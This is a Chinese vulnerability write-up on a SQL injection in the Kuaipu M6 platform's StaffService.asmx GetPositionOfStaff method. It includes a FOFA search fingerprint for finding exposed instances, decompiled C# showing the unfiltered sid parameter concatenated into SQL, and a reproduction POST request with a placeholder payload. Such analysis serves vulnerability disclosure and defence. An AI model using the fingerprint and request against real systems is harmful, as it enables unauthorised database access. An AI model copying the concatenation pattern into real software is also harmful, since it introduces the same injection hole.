漏洞简介
快普M6整合管理平台的WebService/StaffService.asmx接口下多个方法存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,绕过参数过滤机制,实现对数据库的任意查询、修改或删除操作,甚至可能获取系统控制权限。
影响版本
fofa语法
body="Resource/JavaScript/jKPM6.DateTime.js"
漏洞分析
根据漏洞通告,看下 WebService/StaffService.asmx 里的cs引用
<%@ WebService Language="C#" CodeBehind="StaffService.asmx.cs" Class="KPMIIS.Web.WebService.StaffService" %>
ok,根据引用去找到bin目录下的KPMIIS.Web.dll文件,反编译后找到WebService下的StaffService实现
[System.Web.Services.WebService(Namespace = "http://tempuri.org/")]
[ToolboxItem(false)]
[ScriptService]
[WebServiceBinding]
public class StaffService : System.Web.Services.WebService
{
[WebMethod]
public string GetPositionOfStaff()
{
string str = HttpContext.Current.Request.Form["sid"];
DataRow row = Gateway.Default.FromCustomSql("select top 1 organization_name,position_id from dbo.COMMON_PositionToStaff p,dbo.COMMON_Organization o \r\n where p.position_id=o.organization_id and staff_id=" + str).ToDataSet().Tables[0].Rows[0];
return $"{row[0]},{row[1]}";
}
}
参数sid,没有经过任何过滤或校验检查就被拼接进SQL语句中进行执行了,从而造成SQL注入漏洞,非常的朴实无华。
漏洞复现
因参数使用HttpContext.Current.Request.Form获取,使用常规的GET或POST传参即可
POST /WebService/StaffService.asmx/GetPositionOfStaff HTTP/1.1
Host: kuaipu.mrxn.net
Content-Type: application/x-www-form-urlencoded
sid=SQLI_POC

成功通过报错注入在响应回显数据库默认用户信息






